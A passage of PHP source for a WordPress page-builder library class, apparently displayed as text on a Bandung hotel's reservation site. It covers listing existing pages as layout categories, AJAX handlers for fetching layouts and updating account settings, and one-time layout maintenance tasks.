'thumbnail_small' ); $screenshot = self::_get_image_size_name( 'screenshot' ); /** * Array of post types that should be listed as categories under "Existing Pages". * * @since 4.0 * * @param string[] $post_types */ $post_types = apply_filters( 'et_library_builder_post_types', et_builder_get_builder_post_types() ); if ( wp_doing_ajax() ) { // VB case $exclude = isset( $_POST['postId'] ) ? (int) $_POST['postId'] : false; } else { // BB case $exclude = get_the_ID(); } if ( $post_types ) { $category_id = 1; $layout_index = 0; // Keep track of slugs in case there are duplicates. $seen = array(); foreach ( $post_types as $post_type ) { if ( ET_BUILDER_LAYOUT_POST_TYPE === $post_type ) { continue; } $post_type_obj = get_post_type_object( $post_type ); if ( ! $post_type_obj ) { continue; } $category = new StdClass(); $category->id = $category_id; $category->layouts = array(); $category->slug = $post_type; $category->name = $post_type_obj->label; $query = new ET_Core_Post_Query( $post_type ); $posts = $query // Do not include unused Theme Builder layouts. For more information // see et_theme_builder_trash_draft_and_unused_posts(). ->not()->with_meta( '_et_theme_builder_marked_as_unused' ) ->run(); $posts = self::$_->array_sort_by( is_array( $posts ) ? $posts : array( $posts ), 'post_name' ); if ( ! empty( $posts ) ) { foreach ( $posts as $post ) { // Check if page builder is activated. if ( ! et_pb_is_pagebuilder_used( $post->ID ) ) { continue; } // Do not add the current page to the list if ( $post->ID === $exclude ) { continue; } // Check if content has shortcode. if ( ! has_shortcode( $post->post_content, 'et_pb_section' ) ) { continue; } // Only include posts that the user is allowed to edit if ( ! current_user_can( 'edit_post', $post->ID ) ) { continue; } $title = html_entity_decode( $post->post_title ); $slug = $post->post_name; if ( ! $slug ) { // Generate a slug, if none is available - this is necessary as draft posts // that have never been published will not have a slug by default. $slug = wp_unique_post_slug( $post->post_title . '-' . $post->ID, $post->ID, $post->post_status, $post->post_type, $post->post_parent ); } if ( empty( $title ) || empty( $slug ) ) { continue; } // Make sure we don't have duplicate slugs since we're using them as key in React. // slugs should always be unique but enabling/disabling WPML can break this rule. if ( isset( $seen[ $slug ] ) ) { continue; } $type_label = et_theme_builder_is_layout_post_type( $post_type ) ? $post_type_obj->labels->singular_name : $post_type; $seen[ $slug ] = true; $layout = new stdClass(); $layout->index = $index; $layout->id = $post->ID; $layout->date = $post->post_date; $layout->status = $post->post_status; $layout->icon = 'layout'; $layout->type = $type_label; $layout->name = et_core_intentionally_unescaped( $title, 'react_jsx' ); $layout->short_name = et_core_intentionally_unescaped( $title, 'react_jsx' ); $layout->slug = $slug; $layout->url = esc_url( wp_make_link_relative( get_permalink( $post ) ) ); $layout->thumbnail = esc_url( get_the_post_thumbnail_url( $post->ID, $thumbnail ) ); $layout->thumbnail_small = esc_url( get_the_post_thumbnail_url( $post->ID, $thumbnail_small ) ); $layout->screenshot = esc_url( get_the_post_thumbnail_url( $post->ID, $screenshot ) ); $layout->categories = array(); $layout->category_ids = array( $category_id ); $layout->is_global = false; $layout->is_landing = false; $layout->description = ''; $layout->category_slug = $post_type; // $layout_index is the array index, not the $post->ID $category->layouts[] = $layout_index; $post_status_object = get_post_status_object( $post->post_status ); $layout->status = isset( $post_status_object->label ) ? $post_status_object->label : $post->post_status; $layouts[ $layout_index++ ] = $layout; $index++; } } $categories[ $category_id++ ] = $category; } } if ( count( $categories ) > 1) { // Sort categories (post_type in this case) by slug uasort( $categories, array( 'self', 'compare_by_slug' ) ); } return array( 'categories' => $categories, 'packs' => $packs, 'layouts' => $layouts, 'options' => array( 'content' => array( 'title' => array( et_core_intentionally_unescaped( self::__( '%d Pages' ), 'react_jsx' ), et_core_intentionally_unescaped( self::__( '%d Page' ), 'react_jsx' ), ), ), 'sidebar' => array( 'title' => et_core_intentionally_unescaped( self::__( 'Find A Page' ), 'react_jsx' ), ), 'list' => array( 'columns' => array( 'status' => et_core_intentionally_unescaped( self::__( 'Status' ), 'react_jsx' ), ), ), ), 'sorted' => array( 'categories' => array_keys( $categories ), 'packs' => $packs, ), ); } /** * Get custom tabs for the library modal. * * @param string $post_type * * @return array[] { * Custom Tabs * * @type string $tab_slug Tab display name. * ... * } */ public static function builder_library_modal_custom_tabs( $post_type ) { /** * Filters custom tabs for the library modal. * * @since 3.1 * * @param array[] $custom_tabs See {@self::builder_library_modal_custom_tabs()} return value. */ $custom_tabs = array(); if ( 'layout' !== $post_type ) { $custom_tabs['existing_pages'] = esc_html__( 'Your Existing Pages', 'et_builder' ); } return apply_filters( 'et_builder_library_modal_custom_tabs', $custom_tabs, $post_type ); } /** * Gets the post types that have existing layouts built for them. * * @since 3.1 Supersedes {@see et_pb_get_standard_post_types()} * Supersedes {@see et_pb_get_used_built_for_post_types()} * @since 2.0 * * @param string $type Accepts 'standard' or 'all'. Default 'standard'. * * @return string[] $post_types */ public static function built_for_post_types( $type = 'standard' ) { static $all_built_for_post_types; if ( 'standard' === $type ) { return self::$_standard_post_types; } if ( $all_built_for_post_types ) { return $all_built_for_post_types; } global $wpdb; return $all_built_for_post_types = $wpdb->get_col( $wpdb->prepare( "SELECT DISTINCT( meta_value ) FROM {$wpdb->postmeta} WHERE meta_key = %s AND meta_value > ''", '_et_pb_built_for_post_type' ) ); } /** * Get the class instance. * * @since 3.0.99 * * @return ET_Builder_Library */ public static function instance() { if ( ! self::$_instance ) { self::$_instance = new self; } return self::$_instance; } /** * Performs one-time maintenance tasks on library layouts in the database. * {@see 'admin_init'} * * @since 3.1 Relocated from `builder/layouts.php`. New task: create 'Legacy Layouts' category. * @since 2.0 */ public static function update_old_layouts() { $layouts = ET_Builder_Post_Type_Layout::instance(); if ( 'yes' !== get_theme_mod( 'et_updated_layouts_built_for_post_types', 'no' ) ) { $posts = $layouts ->query() ->not()->with_meta( '_et_pb_built_for_post_type' ) ->run(); foreach ( (array) $posts as $single_post ) { update_post_meta( $single_post->ID, '_et_pb_built_for_post_type', 'page' ); } set_theme_mod( 'et_updated_layouts_built_for_post_types', 'yes' ); } if ( ! et_get_option( 'et_pb_layouts_updated', false ) ) { $types = array( 'section', 'row', 'module', 'fullwidth_section', 'specialty_section', 'fullwidth_module', ); $posts = $layouts ->query() ->not()->is_type( $types ) ->run(); foreach ( (array) $posts as $single_post ) { if ( ! get_the_terms( $single_post->ID, 'layout_type' ) ) { wp_set_object_terms( $single_post->ID, 'layout', 'layout_type', true ); } } et_update_option( 'et_pb_layouts_updated', true ); } if ( ! et_get_option( 'library_removed_legacy_layouts', false ) ) { $posts = $layouts ->query() ->with_meta( '_et_pb_predefined_layout' ) ->run(); foreach ( $posts as $post ) { if ( 'layout' === get_post_meta( $post->ID, '_et_pb_built_for_post_type', true ) ) { // Don't touch Extra's Category Builder layouts. continue; } // Sanity check just to be safe if ( get_post_meta( $post->ID, '_et_pb_predefined_layout', true ) ) { wp_delete_post( $post->ID, true ); } } et_update_option( 'library_removed_legacy_layouts', true ); } } /** * AJAX Callback: Gets a layout by ID. * * @since 3.0.99 * * @global $_POST['id'] The id of the desired layout. * @global $_POST ['nonce'] Nonce: 'et_builder_library_get_layout'. * * @return string|void $layout JSON encoded. See return value of {@see et_pb_retrieve_templates()} * for array structure. */ public function wp_ajax_et_builder_library_get_layout() { et_core_security_check( 'edit_posts', 'et_builder_library_get_layout', 'nonce' ); $id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0; if ( empty( $id ) ) { wp_send_json_error(); } $result = array(); $post = get_post( $id ); $post_type = isset( $post->post_type ) ? $post->post_type : ET_BUILDER_LAYOUT_POST_TYPE; switch ( $post_type ) { case ET_BUILDER_LAYOUT_POST_TYPE: $layouts = et_pb_retrieve_templates( 'layout', '', 'all', '0', 'all', 'all', array(), $post_type ); foreach ( $layouts as $layout ) { if ( $id === $layout['ID'] ) { $result = $layout; break; } } $result['savedShortcode'] = $result['shortcode']; if ( ! isset( $_POST['is_BB'] ) ) { $result['savedShortcode'] = et_fb_process_shortcode( $result['savedShortcode'] ); } else { $post_content_processed = do_shortcode( $result['shortcode'] ); $result['migrations'] = ET_Builder_Module_Settings_Migration::$migrated; } unset( $result['shortcode'] ); break; default: $post_content = $post->post_content; if ( ! isset( $_POST['is_BB'] ) ) { $post_content = et_fb_process_shortcode( stripslashes( $post_content ) ); } $result['savedShortcode'] = $post_content; break; } $response = wp_json_encode( array( 'success' => true, 'data' => $result, ) ); $tmp_dir = function_exists( 'sys_get_temp_dir' ) ? sys_get_temp_dir() : '/tmp'; $tmp_file = tempnam( $tmp_dir, 'et' ); @file_put_contents( $tmp_file, $response ); // Remove any previous buffered content since we're setting `Content-Length` header // based on $response value only. while ( ob_get_level() ) { ob_end_clean(); } header( 'Content-Length: ' . @filesize( $tmp_file ) ); @unlink( $tmp_file ); // Charset has to be explicitly mentioned when it is other than UTF-8. @header( 'Content-Type: application/json; charset=' . esc_attr( get_option( 'blog_charset' ) ) ); die( et_core_intentionally_unescaped( $response, 'html' ) ); } /** * AJAX Callback: Gets layouts data for the builder's library UI. * * @since 3.0.99 * * @global $_POST['nonce'] Nonce: 'et_builder_library_get_layouts_data'. * * @return string|void $layouts_data JSON Encoded. */ public function wp_ajax_et_builder_library_get_layouts_data() { et_core_security_check( 'edit_posts', 'et_builder_library_get_layouts_data', 'nonce' ); wp_send_json_success( $this->builder_library_layouts_data() ); } /** * AJAX Callback: Updates ET Account in database. * * @since 3.0.99 * * @global $_POST['nonce'] Nonce: 'et_builder_library_update_account'. * @global $_POST['username'] Username * @global $_POST['api_key'] API Key * @global $_POST['status'] Account Status */ public function wp_ajax_et_builder_library_update_account() { et_core_security_check( 'manage_options', 'et_builder_library_update_account', 'nonce' ); $args = $_POST; if ( ! self::$_->all( $args ) ) { wp_send_json_error(); } $args = array_map( 'sanitize_text_field', $args ); $updates_options = get_site_option( 'et_automatic_updates_options', array() ); $account = array( 'username' => $args['et_username'], 'api_key' => $args['et_api_key'], ); update_site_option( 'et_automatic_updates_options', array_merge( $updates_options, $account ) ); update_site_option( 'et_account_status', $args['status'] ); wp_send_json_success(); } /** * Enqueues library-related styles and scripts in the admin. * {@see 'admin_enqueue_scripts'} * * @since 3.0.99 */ public function wp_hook_admin_enqueue_scripts( $page ) { global $typenow; et_core_load_main_fonts(); wp_enqueue_style( 'et-builder-notification-popup-styles', ET_BUILDER_URI . '/styles/notification_popup_styles.css' ); if ( 'et_pb_layout' === $typenow ) { $new_layout_modal = et_pb_generate_new_layout_modal(); wp_enqueue_style( 'library-styles', ET_BUILDER_URI . '/styles/library_pages.css', array( 'et-core-admin' ), ET_BUILDER_PRODUCT_VERSION ); wp_enqueue_script( 'library-scripts', ET_BUILDER_URI . '/scripts/library_scripts.js', array( 'jquery', 'et_pb_admin_global_js' ), ET_BUILDER_PRODUCT_VERSION ); wp_localize_script( 'library-scripts', 'et_pb_new_template_options', array( 'ajaxurl' => admin_url( 'admin-ajax.php' ), 'et_admin_load_nonce' => wp_create_nonce( 'et_admin_load_nonce' ), 'modal_output' => $new_layout_modal, ) ); } else { wp_enqueue_script( 'et-builder-failure-notice', ET_BUILDER_URI . '/scripts/failure_notice.js', array( 'jquery' ), ET_BUILDER_PRODUCT_VERSION ); } } } ET_Builder_Library::instance(); Online reservation "Daun Residence", Bandung - official site
Room reservation

 

 

Chat Us
Send via WhatsApp